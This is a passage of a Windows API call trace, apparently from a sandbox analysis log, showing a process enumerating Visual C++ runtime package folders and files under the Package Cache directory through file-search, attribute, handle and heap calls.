lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.654] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.654] GetLastError () returned 0x12 [0092.654] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.655] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.655] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.655] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.656] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.656] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.656] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.657] NtClose (Handle=0x184) returned 0x0 [0092.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.658] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.658] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.658] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 1 [0092.658] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 0 [0092.658] GetLastError () returned 0x12 [0092.658] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.659] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.659] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.659] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 1 [0092.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.660] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.660] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.660] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.661] NtClose (Handle=0x184) returned 0x0 [0092.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.662] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.662] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.662] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69ee00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7b69ee00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7b69ee00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9258 [0092.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136fc18 [0092.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.665] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 1 [0092.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9278 [0092.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1254af0 [0092.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.667] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 0 [0092.667] GetLastError () returned 0x12 [0092.667] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.668] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.668] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.668] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69ee00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7b69ee00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7b69ee00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.668] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 1 [0092.668] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 0 [0092.668] GetLastError () returned 0x12 [0092.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.668] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.671] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 0 [0092.671] GetLastError () returned 0x12 [0092.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.671] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.672] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.672] GetLastError () returned 0x12 [0092.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.672] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.673] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="")) returned 1 [0092.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.673] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.687] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.687] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.687] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.688] NtClose (Handle=0x15c) returned 0x0 [0092.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.690] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.690] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.690] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.690] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.690] GetLastError () returned 0x12 [0092.690] FindFirstFileExW (in: 